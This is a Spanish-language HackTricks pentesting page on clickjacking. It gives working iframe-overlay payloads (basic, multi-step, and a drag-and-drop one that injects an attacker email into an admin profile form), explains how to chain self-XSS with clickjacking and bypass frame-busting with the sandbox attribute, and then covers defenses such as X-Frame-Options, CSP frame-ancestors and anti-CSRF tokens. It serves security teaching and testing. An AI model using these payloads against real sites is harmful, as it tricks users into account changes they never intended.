hacktricks/pentesting-web/clickjacking.md

223 lines
12 KiB
Markdown

# Clickjacking
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## ¿Qué es el Clickjacking?
En un ataque de clickjacking, un **usuario** es **engañado** para **hacer clic** en un **elemento** en una página web que está **invisible** o disfrazado como un elemento diferente. Esta manipulación puede llevar a consecuencias no deseadas para el usuario, como la descarga de malware, redirección a páginas web maliciosas, suministro de credenciales o información sensible, transferencias de dinero o la compra en línea de productos.
### Truco de prellenado de formularios
A veces es posible **rellenar el valor de campos de un formulario utilizando parámetros GET al cargar una página**. Un atacante puede abusar de este comportamiento para rellenar un formulario con datos arbitrarios y enviar la carga de clickjacking para que el usuario presione el botón Enviar.
### Rellenar formulario con Arrastrar y Soltar
Si necesitas que el usuario **llene un formulario** pero no quieres pedirle directamente que escriba información específica (como el correo electrónico o una contraseña específica que conoces), simplemente puedes pedirle que **Arrastre y Suelte** algo que escribirá tus datos controlados como en [**este ejemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Carga Básica de Payload
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Carga útil de múltiples pasos
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Carga útil de Arrastrar y Soltar + Click
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
Si has identificado un ataque de **XSS que requiere que un usuario haga clic** en algún elemento para **activar** el XSS y la página es **vulnerable al clickjacking**, podrías abusar de ello para engañar al usuario y hacer que haga clic en el botón/enlace.
Ejemplo:
_Encontraste un **auto XSS** en algunos detalles privados de la cuenta (detalles que **solo tú puedes configurar y leer**). La página con el **formulario** para establecer estos detalles es **vulnerable** al **clickjacking** y puedes **prellenar** el **formulario** con los parámetros GET._
__Un atacante podría preparar un ataque de **clickjacking** a esa página **prellenando** el **formulario** con el **payload XSS** y **engañando** al **usuario** para que **envíe** el formulario. Entonces, **cuando se envíe el formulario** y los valores se modifiquen, el **usuario ejecutará el XSS**.
## Estrategias para Mitigar el Clickjacking
### Defensas del Lado del Cliente
Los scripts ejecutados en el lado del cliente pueden realizar acciones para prevenir el Clickjacking:
* Asegurar que la ventana de la aplicación sea la ventana principal o superior.
* Hacer que todos los marcos sean visibles.
* Prevenir clics en marcos invisibles.
* Detectar y alertar a los usuarios sobre posibles intentos de Clickjacking.
Sin embargo, estos scripts de rompimiento de marcos pueden ser eludidos:
* **Configuraciones de Seguridad de los Navegadores:** Algunos navegadores pueden bloquear estos scripts según sus configuraciones de seguridad o falta de soporte de JavaScript.
* **Atributo `sandbox` de iframe de HTML5:** Un atacante puede neutralizar los scripts de rompimiento de marcos configurando el atributo `sandbox` con los valores `allow-forms` o `allow-scripts` sin `allow-top-navigation`. Esto evita que el iframe verifique si es la ventana superior, por ejemplo.
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
### Defensas del Lado del Servidor
#### X-Frame-Options
El encabezado de respuesta HTTP **`X-Frame-Options`** informa a los navegadores sobre la legitimidad de renderizar una página en un `<frame>` o `<iframe>`, ayudando a prevenir el Clickjacking:
- `X-Frame-Options: deny` - Ningún dominio puede enmarcar el contenido.
- `X-Frame-Options: sameorigin` - Solo el sitio actual puede enmarcar el contenido.
- `X-Frame-Options: allow-from https://trusted.com` - Solo el 'uri' especificado puede enmarcar la página.
- Nota las limitaciones: si el navegador no admite esta directiva, es posible que no funcione. Algunos navegadores prefieren la directiva CSP frame-ancestors.
#### Directiva `frame-ancestors` de la Política de Seguridad de Contenido (CSP)
La **directiva `frame-ancestors` en CSP** es el método recomendado para la protección contra el Clickjacking:
- `frame-ancestors 'none'` - Similar a `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Similar a `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Similar a `X-Frame-Options: allow-from`.
Por ejemplo, la siguiente CSP solo permite enmarcar desde el mismo dominio:
`Content-Security-Policy: frame-ancestors 'self';`
Se pueden encontrar más detalles y ejemplos complejos en la [documentación de CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) y en la [documentación de Mozilla sobre CSP frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Política de Seguridad de Contenido (CSP) con `child-src` y `frame-src`
La **Política de Seguridad de Contenido (CSP)** es una medida de seguridad que ayuda a prevenir el Clickjacking y otros ataques de inyección de código al especificar qué fuentes debe permitir el navegador cargar contenido.
#### Directiva `frame-src`
- Define fuentes válidas para frames.
- Más específica que la directiva `default-src`.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Esta política permite marcos del mismo origen (self) y https://trusted-website.com.
#### Directiva `child-src`
- Introducida en CSP nivel 2 para establecer fuentes válidas para trabajadores web y marcos.
- Actúa como un respaldo para frame-src y worker-src.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Este documento permite marcos y workers del mismo origen (self) y https://trusted-website.com.
**Notas de Uso:**
- Desaprobación: child-src está siendo eliminado a favor de frame-src y worker-src.
- Comportamiento de Respaldo: Si frame-src está ausente, child-src se utiliza como respaldo para marcos. Si ambos están ausentes, se utiliza default-src.
- Definición estricta de la fuente: Incluir solo fuentes confiables en las directivas para prevenir la explotación.
#### Scripts de JavaScript para Romper Marcos
Aunque no son completamente infalibles, los scripts de rompimiento de marcos basados en JavaScript pueden ser utilizados para evitar que una página web sea enmarcada. Ejemplo:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Empleo de Tokens Anti-CSRF
* **Validación de Tokens:** Utilice tokens anti-CSRF en aplicaciones web para asegurar que las solicitudes que cambian el estado sean realizadas intencionalmente por el usuario y no a través de una página Clickjacked.
## Referencias
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>